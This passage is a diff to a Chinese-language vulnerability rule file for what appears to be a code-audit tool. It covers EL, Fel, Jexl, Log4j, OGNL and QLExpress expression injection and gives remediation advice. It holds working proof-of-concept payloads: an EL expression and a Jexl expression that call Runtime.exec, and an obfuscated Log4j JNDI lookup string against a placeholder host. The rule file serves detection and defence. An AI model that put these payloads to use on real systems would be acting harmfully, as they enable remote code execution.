\u4e2d\u7b80\u5316\u8868\u8fbe\u5f0f\u7684\u65b9\u6cd5\uff0c\u8ba9Jsp\u7684\u4ee3\u7801\u66f4\u52a0\u7b80\u5316\u3002\n\nEL\u8868\u8fbe\u5f0f\u6ce8\u5165\u6f0f\u6d1e\u548cSpEL\u3001OGNL\u7b49\u8868\u8fbe\u5f0f\u6ce8\u5165\u6f0f\u6d1e\u662f\u4e00\u6837\u7684\u6f0f\u6d1e\u539f\u7406\u7684\uff0c\u5373\u8868\u8fbe\u5f0f\u5916\u90e8\u53ef\u63a7\u5bfc\u81f4\u653b\u51fb\u8005\u6ce8\u5165\u6076\u610f\u8868\u8fbe\u5f0f\u5b9e\u73b0\u4efb\u610f\u4ee3\u7801\u6267\u884c\u3002\n\n\u4e00\u822c\u6765\u8bf4\uff0cEL\u8868\u8fbe\u5f0f\u6ce8\u5165\u6f0f\u6d1e\u7684\u5916\u90e8\u53ef\u63a7\u70b9\u5165\u53e3\u90fd\u662f\u5728Java\u7a0b\u5e8f\u4ee3\u7801\u4e2d\uff0c\u5373Java\u7a0b\u5e8f\u4e2d\u7684EL\u8868\u8fbe\u5f0f\u5185\u5bb9\u5168\u90e8\u6216\u90e8\u5206\u662f\u4ece\u5916\u90e8\u83b7\u53d6\u7684\u3002\n\n**\u901a\u7528POC**\n\n```Java\n//\u5bf9\u5e94\u4e8eJSP\u9875\u9762\u4e2d\u7684pageContext\u5bf9\u8c61\uff08\u6ce8\u610f\uff1a\u53d6\u7684\u662fpageContext\u5bf9\u8c61\uff09\n${pageContext}\n\n//\u83b7\u53d6Web\u8def\u5f84\n${pageContext.getSession().getServletContext().getClassLoader().getResource(\"\")}\n\n//\u6587\u4ef6\u5934\u53c2\u6570\n${header}\n\n//\u83b7\u53d6webRoot\n${applicationScope}\n\n//\u6267\u884c\u547d\u4ee4\n${pageContext.request.getSession().setAttribute(\"a\",pageContext.request.getClass().forName(\"java.lang.Runtime\").getMethod(\"getRuntime\",null).invoke(null,null).exec(\"calc\").getInputStream())}\n```", "vul_desc_en": null, "vul_desc_zh": "CWE-917\uff0c\u8be5\u8f6f\u4ef6\u4f7f\u7528\u6765\u81ea\u4e0a\u6e38\u7ec4\u4ef6\u7684\u5916\u90e8\u5f71\u54cd\u7684\u8f93\u5165\u6765\u6784\u9020Java Server Page\uff08JSP\uff09\u4e2d\u7684\u5168\u90e8\u6216\u90e8\u5206\u8868\u8fbe\u8bed\u8a00\uff08EL\uff09\u8bed\u53e5\uff0c\u4f46\u4e0d\u4f1a\u4e2d\u548c\u6216\u9519\u8bef\u5730\u4e2d\u548c\u4e86\u53ef\u4ee5\u4fee\u6539\u9884\u671f\u7684EL\u8bed\u53e5\u7684\u7279\u6b8a\u5143\u7d20\u3002\u5b83\u88ab\u6267\u884c\u3002\n\nEL\uff08Expression Language\uff09 \u662f\u4e3a\u4e86\u4f7fJSP\u5199\u8d77\u6765\u66f4\u52a0\u7b80\u5355\u3002\u8868\u8fbe\u5f0f\u8bed\u8a00\u7684\u7075\u611f\u6765\u81ea\u4e8e ECMAScript \u548c XPath \u8868\u8fbe\u5f0f\u8bed\u8a00\uff0c\u5b83\u63d0\u4f9b\u4e86\u5728 JSP \u4e2d\u7b80\u5316\u8868\u8fbe\u5f0f\u7684\u65b9\u6cd5\uff0c\u8ba9Jsp\u7684\u4ee3\u7801\u66f4\u52a0\u7b80\u5316\u3002\n\nEL\u8868\u8fbe\u5f0f\u6ce8\u5165\u6f0f\u6d1e\u548cSpEL\u3001OGNL\u7b49\u8868\u8fbe\u5f0f\u6ce8\u5165\u6f0f\u6d1e\u662f\u4e00\u6837\u7684\u6f0f\u6d1e\u539f\u7406\u7684\uff0c\u5373\u8868\u8fbe\u5f0f\u5916\u90e8\u53ef\u63a7\u5bfc\u81f4\u653b\u51fb\u8005\u6ce8\u5165\u6076\u610f\u8868\u8fbe\u5f0f\u5b9e\u73b0\u4efb\u610f\u4ee3\u7801\u6267\u884c\u3002\n\n\u4e00\u822c\u6765\u8bf4\uff0cEL\u8868\u8fbe\u5f0f\u6ce8\u5165\u6f0f\u6d1e\u7684\u5916\u90e8\u53ef\u63a7\u70b9\u5165\u53e3\u90fd\u662f\u5728Java\u7a0b\u5e8f\u4ee3\u7801\u4e2d\uff0c\u5373Java\u7a0b\u5e8f\u4e2d\u7684EL\u8868\u8fbe\u5f0f\u5185\u5bb9\u5168\u90e8\u6216\u90e8\u5206\u662f\u4ece\u5916\u90e8\u83b7\u53d6\u7684\u3002\n\n**\u901a\u7528POC**\n\n```Java\n//\u5bf9\u5e94\u4e8eJSP\u9875\u9762\u4e2d\u7684pageContext\u5bf9\u8c61\uff08\u6ce8\u610f\uff1a\u53d6\u7684\u662fpageContext\u5bf9\u8c61\uff09\n${pageContext}\n\n//\u83b7\u53d6Web\u8def\u5f84\n${pageContext.getSession().getServletContext().getClassLoader().getResource(\"\")}\n\n//\u6587\u4ef6\u5934\u53c2\u6570\n${header}\n\n//\u83b7\u53d6webRoot\n${applicationScope}\n\n//\u6267\u884c\u547d\u4ee4\n${pageContext.request.getSession().setAttribute(\"a\",pageContext.request.getClass().forName(\"java.lang.Runtime\").getMethod(\"getRuntime\",null).invoke(null,null).exec(\"calc\").getInputStream())}\n```", - "vul_fix": "1", + "vul_fix": "- \u5c3d\u91cf\u4e0d\u4f7f\u7528\u5916\u90e8\u8f93\u5165\u7684\u5185\u5bb9\u4f5c\u4e3aEL\u8868\u8fbe\u5f0f\u5185\u5bb9\uff1b\n- \u82e5\u4f7f\u7528\uff0c\u5219\u4e25\u683c\u8fc7\u6ee4EL\u8868\u8fbe\u5f0f\u6ce8\u5165\u6f0f\u6d1e\u7684payload\u5173\u952e\u5b57\uff1b\n- \u5982\u679c\u662f\u6392\u67e5Java\u7a0b\u5e8f\u4e2dEL\u76f8\u5173\u4ee3\u7801\uff0c\u5219\u641c\u7d22\u5982\u4e0b\u5173\u952e\u7c7b\u65b9\u6cd5\uff1a\n ```\n javax.el.ExpressionFactory.createValueExpression()\n javax.el.ValueExpression.getValue()\n ```", "vul_fix_en": null, - "vul_fix_zh": "1", + "vul_fix_zh": "- \u5c3d\u91cf\u4e0d\u4f7f\u7528\u5916\u90e8\u8f93\u5165\u7684\u5185\u5bb9\u4f5c\u4e3aEL\u8868\u8fbe\u5f0f\u5185\u5bb9\uff1b\n- \u82e5\u4f7f\u7528\uff0c\u5219\u4e25\u683c\u8fc7\u6ee4EL\u8868\u8fbe\u5f0f\u6ce8\u5165\u6f0f\u6d1e\u7684payload\u5173\u952e\u5b57\uff1b\n- \u5982\u679c\u662f\u6392\u67e5Java\u7a0b\u5e8f\u4e2dEL\u76f8\u5173\u4ee3\u7801\uff0c\u5219\u641c\u7d22\u5982\u4e0b\u5173\u952e\u7c7b\u65b9\u6cd5\uff1a\n ```\n javax.el.ExpressionFactory.createValueExpression()\n javax.el.ValueExpression.getValue()\n ```", "vul_name": "EL\u8868\u8fbe\u5f0f\u6ce8\u5165", "vul_name_en": null, "vul_name_zh": "EL\u8868\u8fbe\u5f0f\u6ce8\u5165", "vul_type": "EL\u8868\u8fbe\u5f0f\u6ce8\u5165" }, + { + "level": 1, + "state": "enable", + "system_type": 1, + "user": 1, + "vul_desc": "el\u5728\u6e90\u81ea\u4e8e\u4f01\u4e1a\u9879\u76ee\uff0c\u8bbe\u8ba1\u76ee\u6807\u662f\u4e3a\u4e86\u6ee1\u8db3\u4e0d\u65ad\u53d8\u5316\u7684\u529f\u80fd\u9700\u6c42\u548c\u6027\u80fd\u9700\u6c42\u3002\nFel\u662f\u5f00\u653e\u7684\uff0c\u5f15\u64ce\u6267\u884c\u4e2d\u7684\u591a\u4e2a\u6a21\u5757\u90fd\u53ef\u4ee5\u6269\u5c55\u6216\u66ff\u6362\u3002Fel\u7684\u6267\u884c\u4e3b\u8981\u662f\u901a\u8fc7\u51fd\u6570\u5b9e\u73b0,\u8fd0\u7b97\u7b26(+\u3001-\u7b49\u90fd\u662fFel\u51fd\u6570\uff09\uff0c\u6240\u6709\u8fd9\u4e9b\u51fd\u6570\u90fd\u662f\u53ef\u4ee5\u66ff\u6362\u7684\uff0c\u6269\u5c55\u51fd\u6570\u4e5f\u975e\u5e38\u7b80\u5355\u3002\nFel\u53ef\u4ee5\u6267\u884c\u8868\u8fbe\u5f0f\uff0c\u5982\u679c\u6b64\u65f6Fel\u6267\u884c\u7684\u8868\u8fbe\u5f0f\u5916\u90e8\u53ef\u63a7\uff0c\u5219\u53ef\u80fd\u5bfc\u81f4\u5b89\u5168\u98ce\u9669\u3002", + "vul_desc_en": null, + "vul_desc_zh": "el\u5728\u6e90\u81ea\u4e8e\u4f01\u4e1a\u9879\u76ee\uff0c\u8bbe\u8ba1\u76ee\u6807\u662f\u4e3a\u4e86\u6ee1\u8db3\u4e0d\u65ad\u53d8\u5316\u7684\u529f\u80fd\u9700\u6c42\u548c\u6027\u80fd\u9700\u6c42\u3002\nFel\u662f\u5f00\u653e\u7684\uff0c\u5f15\u64ce\u6267\u884c\u4e2d\u7684\u591a\u4e2a\u6a21\u5757\u90fd\u53ef\u4ee5\u6269\u5c55\u6216\u66ff\u6362\u3002Fel\u7684\u6267\u884c\u4e3b\u8981\u662f\u901a\u8fc7\u51fd\u6570\u5b9e\u73b0,\u8fd0\u7b97\u7b26(+\u3001-\u7b49\u90fd\u662fFel\u51fd\u6570\uff09\uff0c\u6240\u6709\u8fd9\u4e9b\u51fd\u6570\u90fd\u662f\u53ef\u4ee5\u66ff\u6362\u7684\uff0c\u6269\u5c55\u51fd\u6570\u4e5f\u975e\u5e38\u7b80\u5355\u3002\nFel\u53ef\u4ee5\u6267\u884c\u8868\u8fbe\u5f0f\uff0c\u5982\u679c\u6b64\u65f6Fel\u6267\u884c\u7684\u8868\u8fbe\u5f0f\u5916\u90e8\u53ef\u63a7\uff0c\u5219\u53ef\u80fd\u5bfc\u81f4\u5b89\u5168\u98ce\u9669\u3002", + "vul_fix": "1\u3001\u4f7f\u7528\u5b98\u65b9\u63d0\u4f9b\u7684\u5b89\u5168\u7ba1\u7406\u5668\n- https://github.com/dbcxy/fast-el/commit/ac0d5bdb95b5c5d52fe5df5a8b254e5e8ddd8a38\n- https://code.google.com/archive/p/fast-el/", + "vul_fix_en": null, + "vul_fix_zh": "1\u3001\u4f7f\u7528\u5b98\u65b9\u63d0\u4f9b\u7684\u5b89\u5168\u7ba1\u7406\u5668\n- https://github.com/dbcxy/fast-el/commit/ac0d5bdb95b5c5d52fe5df5a8b254e5e8ddd8a38\n- https://code.google.com/archive/p/fast-el/", + "vul_name": "Fel\u8868\u8fbe\u5f0f\u6ce8\u5165", + "vul_name_en": null, + "vul_name_zh": "Fel\u8868\u8fbe\u5f0f\u6ce8\u5165", + "vul_type": "Fel\u8868\u8fbe\u5f0f\u6ce8\u5165" + }, { "level": 3, "state": "enable", @@ -47,6 +63,38 @@ "vul_name_zh": "JNDI\u6ce8\u5165", "vul_type": "JNDI\u6ce8\u5165" }, + { + "level": 1, + "state": "enable", + "system_type": 1, + "user": 1, + "vul_desc": "JEXL \u4ee3\u8868 Java \u8868\u8fbe\u5f0f\u8bed\u8a00\u3002\u5b83\u662f\u4e00\u4e2a\u63d0\u4f9b\u7528\u4e8e\u8bc4\u4f30 JEXL \u8868\u8fbe\u5f0f\u7684 API \u7684\u5e93\u3002\u8be5\u9879\u76ee\u5c5e\u4e8eApache\u8f6f\u4ef6\u57fa\u91d1\u4f1a\uff0cJEXL \u63d0\u4f9b\u7684\u529f\u80fd\u8db3\u591f\u5f3a\u5927\uff0c\u53ef\u4ee5\u8ba9\u6211\u4eec\u8c03\u7528 JVM \u4e2d\u53ef\u7528\u7684\u7c7b\u548c\u65b9\u6cd5\u3002\u4ee5\u4e0b\u4ee3\u7801\u8c03\u7528 ProcessBuilder \u4ee5\u542f\u52a8\u5916\u90e8\u8fdb\u7a0b\uff1a\n```Java\nString str = \"''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')\";\nJexlEngine jexl = new JexlBuilder().create();\nJexlExpression expression = jexl.createExpression(str);\nJexlContext context = new MapContext();\ne.evaluate(context);\n```\n\u5982\u679c\u6b64\u65f6\u53ef\u6267\u884c\u7684\u8868\u8fbe\u5f0f\u5916\u90e8\u53ef\u63a7\u5219\u53ef\u80fd\u9020\u6210\u653b\u51fb\u8005\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\uff0c\u6570\u636e\u6cc4\u9732\u7b49\u3002", + "vul_desc_en": null, + "vul_desc_zh": "JEXL \u4ee3\u8868 Java \u8868\u8fbe\u5f0f\u8bed\u8a00\u3002\u5b83\u662f\u4e00\u4e2a\u63d0\u4f9b\u7528\u4e8e\u8bc4\u4f30 JEXL \u8868\u8fbe\u5f0f\u7684 API \u7684\u5e93\u3002\u8be5\u9879\u76ee\u5c5e\u4e8eApache\u8f6f\u4ef6\u57fa\u91d1\u4f1a\uff0cJEXL \u63d0\u4f9b\u7684\u529f\u80fd\u8db3\u591f\u5f3a\u5927\uff0c\u53ef\u4ee5\u8ba9\u6211\u4eec\u8c03\u7528 JVM \u4e2d\u53ef\u7528\u7684\u7c7b\u548c\u65b9\u6cd5\u3002\u4ee5\u4e0b\u4ee3\u7801\u8c03\u7528 ProcessBuilder \u4ee5\u542f\u52a8\u5916\u90e8\u8fdb\u7a0b\uff1a\n```Java\nString str = \"''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')\";\nJexlEngine jexl = new JexlBuilder().create();\nJexlExpression expression = jexl.createExpression(str);\nJexlContext context = new MapContext();\ne.evaluate(context);\n```\n\u5982\u679c\u6b64\u65f6\u53ef\u6267\u884c\u7684\u8868\u8fbe\u5f0f\u5916\u90e8\u53ef\u63a7\u5219\u53ef\u80fd\u9020\u6210\u653b\u51fb\u8005\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\uff0c\u6570\u636e\u6cc4\u9732\u7b49\u3002", + "vul_fix": "1\u3001\u4f7f\u7528Jexl Sendbox\nhttps://commons.apache.org/proper/commons-jexl/apidocs/org/apache/commons/jexl3/introspection/JexlSandbox.html\n```Java\n// \u521b\u5efa\u6c99\u76d2\u5bf9\u8c61\uff0c\u7981\u7528\u4e86\u7c7b\u52a0\u8f7d\u548c\u7cfb\u7edf\u64cd\u4f5c \nJexlSandbox sandbox = new JexlSandbox(false); \nsandbox.white(\"xxx\"); \n \n// \u521b\u5efa JEXL \u5f15\u64ce\u65f6\uff0c\u4f20\u9012\u6c99\u76d2\u5bf9\u8c61 \nJexlEngine jexl = new JexlBuilder().sandbox(sandbox).create(); \n \ntry { \n // \u521b\u5efa\u8868\u8fbe\u5f0f \n JexlExpression expression = jexl.createExpression(exporession); \n \n // \u6267\u884c\u8868\u8fbe\u5f0f \n JexlContext context = new MapContext(); \n Object result = expression.evaluate(context); \n \n // \u8f93\u51fa\u7ed3\u679c \n System.out.println(\"Result: \" + result); \n} catch (JexlException e) { \n // \u6355\u83b7 Jexl \u5f02\u5e38\uff0c\u8868\u793a\u8868\u8fbe\u5f0f\u4e0d\u5408\u6cd5 \n System.err.println(\"Invalid expression: \" + e.getMessage()); \n}\n```", + "vul_fix_en": null, + "vul_fix_zh": "1\u3001\u4f7f\u7528Jexl Sendbox\nhttps://commons.apache.org/proper/commons-jexl/apidocs/org/apache/commons/jexl3/introspection/JexlSandbox.html\n```Java\n// \u521b\u5efa\u6c99\u76d2\u5bf9\u8c61\uff0c\u7981\u7528\u4e86\u7c7b\u52a0\u8f7d\u548c\u7cfb\u7edf\u64cd\u4f5c \nJexlSandbox sandbox = new JexlSandbox(false); \nsandbox.white(\"xxx\"); \n \n// \u521b\u5efa JEXL \u5f15\u64ce\u65f6\uff0c\u4f20\u9012\u6c99\u76d2\u5bf9\u8c61 \nJexlEngine jexl = new JexlBuilder().sandbox(sandbox).create(); \n \ntry { \n // \u521b\u5efa\u8868\u8fbe\u5f0f \n JexlExpression expression = jexl.createExpression(exporession); \n \n // \u6267\u884c\u8868\u8fbe\u5f0f \n JexlContext context = new MapContext(); \n Object result = expression.evaluate(context); \n \n // \u8f93\u51fa\u7ed3\u679c \n System.out.println(\"Result: \" + result); \n} catch (JexlException e) { \n // \u6355\u83b7 Jexl \u5f02\u5e38\uff0c\u8868\u793a\u8868\u8fbe\u5f0f\u4e0d\u5408\u6cd5 \n System.err.println(\"Invalid expression: \" + e.getMessage()); \n}\n```", + "vul_name": "Jexl\u8868\u8fbe\u5f0f\u6ce8\u5165", + "vul_name_en": null, + "vul_name_zh": "Jexl\u8868\u8fbe\u5f0f\u6ce8\u5165", + "vul_type": "Jexl\u8868\u8fbe\u5f0f\u6ce8\u5165" + }, + { + "level": 1, + "state": "disable", + "system_type": 1, + "user": 1, + "vul_desc": "\u6ce8\u610f\uff1a\u8be5\u89c4\u5219\u5b58\u5728\u8bef\u62a5\uff0c\u5df2\u77e5\u60c5\u51b5\uff0c\u8be5\u89c4\u5219\u9ed8\u8ba4\u5173\u95ed\uff0c\u5728\u4e00\u5b9a\u573a\u666f\u4e0b\u53ef\u5e2e\u52a9\u68c0\u6d4bLog4j\uff0c\u6216\u5e2e\u52a9\u5b89\u5168\u56e2\u961f\u5feb\u901f\u5b9a\u4f4d\u4e1a\u52a1\u54ea\u4e9b\u5730\u65b9\u53ef\u7531Log4j\u63a7\u5236\u3002\n\nApache Log4j2 \u662f\u4e00\u6b3e\u4f18\u79c0\u7684 Java \u65e5\u5fd7\u6846\u67b6\u3002`2021 \u5e74 11 \u6708 24 \u65e5\uff0c\u963f\u91cc\u4e91\u5b89\u5168\u56e2\u961f\u5411 Apache \u5b98\u65b9\u62a5\u544a\u4e86 Apache Log4j2 \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u3002`\u7531\u4e8e Apache Log4j2 \u67d0\u4e9b\u529f\u80fd\u5b58\u5728\u9012\u5f52\u89e3\u6790\u529f\u80fd\uff0c\u653b\u51fb\u8005\u53ef\u76f4\u63a5\u6784\u9020\u6076\u610f\u8bf7\u6c42\uff0c\u89e6\u53d1\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u3002\u6f0f\u6d1e\u5229\u7528\u65e0\u9700\u7279\u6b8a\u914d\u7f6e\uff0c\u7ecf\u963f\u91cc\u4e91\u5b89\u5168\u56e2\u961f\u9a8c\u8bc1\uff0cApache Struts2\u3001Apache Solr\u3001Apache Druid\u3001Apache Flink \u7b49\u5747\u53d7\u5f71\u54cd", + "vul_desc_en": null, + "vul_desc_zh": "\u6ce8\u610f\uff1a\u8be5\u89c4\u5219\u5b58\u5728\u8bef\u62a5\uff0c\u5df2\u77e5\u60c5\u51b5\uff0c\u8be5\u89c4\u5219\u9ed8\u8ba4\u5173\u95ed\uff0c\u5728\u4e00\u5b9a\u573a\u666f\u4e0b\u53ef\u5e2e\u52a9\u68c0\u6d4bLog4j\uff0c\u6216\u5e2e\u52a9\u5b89\u5168\u56e2\u961f\u5feb\u901f\u5b9a\u4f4d\u4e1a\u52a1\u54ea\u4e9b\u5730\u65b9\u53ef\u7531Log4j\u63a7\u5236\u3002\n\nApache Log4j2 \u662f\u4e00\u6b3e\u4f18\u79c0\u7684 Java \u65e5\u5fd7\u6846\u67b6\u3002`2021 \u5e74 11 \u6708 24 \u65e5\uff0c\u963f\u91cc\u4e91\u5b89\u5168\u56e2\u961f\u5411 Apache \u5b98\u65b9\u62a5\u544a\u4e86 Apache Log4j2 \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u3002`\u7531\u4e8e Apache Log4j2 \u67d0\u4e9b\u529f\u80fd\u5b58\u5728\u9012\u5f52\u89e3\u6790\u529f\u80fd\uff0c\u653b\u51fb\u8005\u53ef\u76f4\u63a5\u6784\u9020\u6076\u610f\u8bf7\u6c42\uff0c\u89e6\u53d1\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u3002\u6f0f\u6d1e\u5229\u7528\u65e0\u9700\u7279\u6b8a\u914d\u7f6e\uff0c\u7ecf\u963f\u91cc\u4e91\u5b89\u5168\u56e2\u961f\u9a8c\u8bc1\uff0cApache Struts2\u3001Apache Solr\u3001Apache Druid\u3001Apache Flink \u7b49\u5747\u53d7\u5f71\u54cd", + "vul_fix": "1\u3001\u5347\u7ea7Log4j\u7248\u672c\n\n- https://repo.maven.apache.org/maven2/org/apache/logging/log4j/log4j-core/2.15.0/\n\n2\u3001\u7f13\u89e3\uff1a\u5bf9Log4j payload\u5173\u952e\u5b57\u8fdb\u884cwaf/rasp\u89c4\u5219\u6dfb\u52a0\n\n- \u6ce8\u610f\uff1a\u5b58\u5728\u7ed5\u8fc7\u7684\u53ef\u80fd\n\n```bash\n${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}\n```\n\n3\u3001\u7f13\u89e3\uff1a\u7981\u7528JNDI\n\n```\n// \u5fc5\u987b\u5728 log4j \u5b9e\u4f8b\u5316\u4e4b\u524d\u8bbe\u7f6e\u8be5\u7cfb\u7edf\u5c5e\u6027\nSystem.setProperty(\"log4j2.formatMsgNoLookups\", \"true\");\n\nLogger logger = LogManager.getLogger(LogManager.ROOT_LOGGER_NAME);\n```", + "vul_fix_en": null, + "vul_fix_zh": "1\u3001\u5347\u7ea7Log4j\u7248\u672c\n\n- https://repo.maven.apache.org/maven2/org/apache/logging/log4j/log4j-core/2.15.0/\n\n2\u3001\u7f13\u89e3\uff1a\u5bf9Log4j payload\u5173\u952e\u5b57\u8fdb\u884cwaf/rasp\u89c4\u5219\u6dfb\u52a0\n\n- \u6ce8\u610f\uff1a\u5b58\u5728\u7ed5\u8fc7\u7684\u53ef\u80fd\n\n```bash\n${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}\n```\n\n3\u3001\u7f13\u89e3\uff1a\u7981\u7528JNDI\n\n```\n// \u5fc5\u987b\u5728 log4j \u5b9e\u4f8b\u5316\u4e4b\u524d\u8bbe\u7f6e\u8be5\u7cfb\u7edf\u5c5e\u6027\nSystem.setProperty(\"log4j2.formatMsgNoLookups\", \"true\");\n\nLogger logger = LogManager.getLogger(LogManager.ROOT_LOGGER_NAME);\n```", + "vul_name": "Log4j", + "vul_name_en": null, + "vul_name_zh": "Log4j", + "vul_type": "Log4j" + }, { "level": 1, "state": "enable", @@ -55,9 +103,9 @@ "vul_desc": "\u5168\u79f0Object Graph Navigation Library\nOGNL\u4ee3\u8868\u5bf9\u8c61\u56fe\u5bfc\u822a\u8bed\u8a00\uff1b\u5b83\u662f\u4e00\u79cd\u8868\u8fbe\u8bed\u8a00\uff0c\u7528\u4e8e\u83b7\u53d6\u548c\u8bbe\u7f6eJava\u5bf9\u8c61\u7684\u5c5e\u6027\uff0c\u4ee5\u53ca\u5176\u4ed6\u9644\u52a0\u529f\u80fd\uff0c\u4f8b\u5982\u5217\u8868\u6295\u5f71\u548c\u9009\u62e9\u4ee5\u53calambda\u8868\u8fbe\u5f0f\u3002\u60a8\u53ef\u4ee5\u4f7f\u7528\u76f8\u540c\u7684\u8868\u8fbe\u5f0f\u6765\u83b7\u53d6\u548c\u8bbe\u7f6e\u5c5e\u6027\u503c\u3002", "vul_desc_en": null, "vul_desc_zh": "\u5168\u79f0Object Graph Navigation Library\nOGNL\u4ee3\u8868\u5bf9\u8c61\u56fe\u5bfc\u822a\u8bed\u8a00\uff1b\u5b83\u662f\u4e00\u79cd\u8868\u8fbe\u8bed\u8a00\uff0c\u7528\u4e8e\u83b7\u53d6\u548c\u8bbe\u7f6eJava\u5bf9\u8c61\u7684\u5c5e\u6027\uff0c\u4ee5\u53ca\u5176\u4ed6\u9644\u52a0\u529f\u80fd\uff0c\u4f8b\u5982\u5217\u8868\u6295\u5f71\u548c\u9009\u62e9\u4ee5\u53calambda\u8868\u8fbe\u5f0f\u3002\u60a8\u53ef\u4ee5\u4f7f\u7528\u76f8\u540c\u7684\u8868\u8fbe\u5f0f\u6765\u83b7\u53d6\u548c\u8bbe\u7f6e\u5c5e\u6027\u503c\u3002", - "vul_fix": "Ognl\u8868\u8fbe\u5f0f\u6ce8\u5165", + "vul_fix": "1\u3001\u5347\u7ea7Ognl\u7248\u672c\nhttps://mvnrepository.com/artifact/ognl/ognl\n\n2\u3001\u6839\u636e\u4e1a\u52a1\u9700\u6c42\u5bf9\u8868\u8fbe\u5f0f\u5173\u952e\u5b57\u5b57\u7b26\u8fdb\u884c\u8fc7\u6ee4\n\n\n", "vul_fix_en": null, - "vul_fix_zh": "Ognl\u8868\u8fbe\u5f0f\u6ce8\u5165", + "vul_fix_zh": "1\u3001\u5347\u7ea7Ognl\u7248\u672c\nhttps://mvnrepository.com/artifact/ognl/ognl\n\n2\u3001\u6839\u636e\u4e1a\u52a1\u9700\u6c42\u5bf9\u8868\u8fbe\u5f0f\u5173\u952e\u5b57\u5b57\u7b26\u8fdb\u884c\u8fc7\u6ee4\n\n\n", "vul_name": "Ognl\u8868\u8fbe\u5f0f\u6ce8\u5165", "vul_name_en": null, "vul_name_zh": "Ognl\u8868\u8fbe\u5f0f\u6ce8\u5165", @@ -79,6 +127,22 @@ "vul_name_zh": "Pages Without Anti-Clickjacking Controls", "vul_type": "Pages Without Anti-Clickjacking Controls" }, + { + "level": 1, + "state": "enable", + "system_type": 1, + "user": 1, + "vul_desc": "\u7531\u963f\u91cc\u7684\u7535\u5546\u4e1a\u52a1\u89c4\u5219\u3001\u8868\u8fbe\u5f0f\uff08\u5e03\u5c14\u7ec4\u5408\uff09\u3001\u7279\u6b8a\u6570\u5b66\u516c\u5f0f\u8ba1\u7b97\uff08\u9ad8\u7cbe\u5ea6\uff09\u3001\u8bed\u6cd5\u5206\u6790\u3001\u811a\u672c\u4e8c\u6b21\u5b9a\u5236\u7b49\u5f3a\u9700\u6c42\u800c\u8bbe\u8ba1\u7684\u4e00\u95e8\u52a8\u6001\u811a\u672c\u5f15\u64ce\u89e3\u6790\u5de5\u5177\u3002 \u5728\u963f\u91cc\u96c6\u56e2\u6709\u5f88\u5f3a\u7684\u5f71\u54cd\u529b\uff0c\u540c\u65f6\u4e3a\u4e86\u81ea\u8eab\u4e0d\u65ad\u4f18\u5316\u3001\u53d1\u626c\u5f00\u6e90\u8d21\u732e\u7cbe\u795e\uff0c\u4e8e2012\u5e74\u5f00\u6e90\u3002\nQLExpress\u811a\u672c\u5f15\u64ce\u88ab\u5e7f\u6cdb\u5e94\u7528\u5728\u963f\u91cc\u7684\u7535\u5546\u4e1a\u52a1\u573a\u666f\uff0c\u5177\u6709\u4ee5\u4e0b\u7684\u4e00\u4e9b\u7279\u6027:\n- 1\u3001\u7ebf\u7a0b\u5b89\u5168\uff0c\u5f15\u64ce\u8fd0\u7b97\u8fc7\u7a0b\u4e2d\u7684\u4ea7\u751f\u7684\u4e34\u65f6\u53d8\u91cf\u90fd\u662fthreadlocal\u7c7b\u578b\u3002\n- 2\u3001\u9ad8\u6548\u6267\u884c\uff0c\u6bd4\u8f83\u8017\u65f6\u7684\u811a\u672c\u7f16\u8bd1\u8fc7\u7a0b\u53ef\u4ee5\u7f13\u5b58\u5728\u672c\u5730\u673a\u5668\uff0c\u8fd0\u884c\u65f6\u7684\u4e34\u65f6\u53d8\u91cf\u521b\u5efa\u91c7\u7528\u4e86\u7f13\u51b2\u6c60\u7684\u6280\u672f\uff0c\u548cgroovy\u6027\u80fd\u76f8\u5f53\u3002\n- 3\u3001\u5f31\u7c7b\u578b\u811a\u672c\u8bed\u8a00\uff0c\u548cgroovy\uff0cjavascript\u8bed\u6cd5\u7c7b\u4f3c\uff0c\u867d\u7136\u6bd4\u5f3a\u7c7b\u578b\u811a\u672c\u8bed\u8a00\u8981\u6162\u4e00\u4e9b\uff0c\u4f46\u662f\u4f7f\u4e1a\u52a1\u7684\u7075\u6d3b\u5ea6\u5927\u5927\u589e\u5f3a\u3002\n- 4\u3001\u5b89\u5168\u63a7\u5236,\u53ef\u4ee5\u901a\u8fc7\u8bbe\u7f6e\u76f8\u5173\u8fd0\u884c\u53c2\u6570\uff0c\u9884\u9632\u6b7b\u5faa\u73af\u3001\u9ad8\u5371\u7cfb\u7edfapi\u8c03\u7528\u7b49\u60c5\u51b5\u3002\n- 5\u3001\u4ee3\u7801\u7cbe\u7b80\uff0c\u4f9d\u8d56\u6700\u5c0f\uff0c250k\u7684jar\u5305\u9002\u5408\u6240\u6709java\u7684\u8fd0\u884c\u73af\u5883\uff0c\u5728android\u7cfb\u7edf\u7684\u4f4e\u7aefpos\u673a\u4e5f\u5f97\u5230\u5e7f\u6cdb\u8fd0\u7528\u3002\nQL Express\u652f\u6301\u8868\u8fbe\u5f0f\uff0c\u5982\u6267\u884c\u7684\u8868\u8fbe\u5f0f\u5916\u90e8\u53ef\u63a7\uff0c\u4e14\u6ca1\u6709\u5f00\u542f\u5b89\u5168\u914d\u7f6e\uff0c\u5219\u53ef\u80fd\u5bfc\u81f4\u547d\u4ee4\u6267\u884c\u7b49\u6f0f\u6d1e\u3002", + "vul_desc_en": null, + "vul_desc_zh": 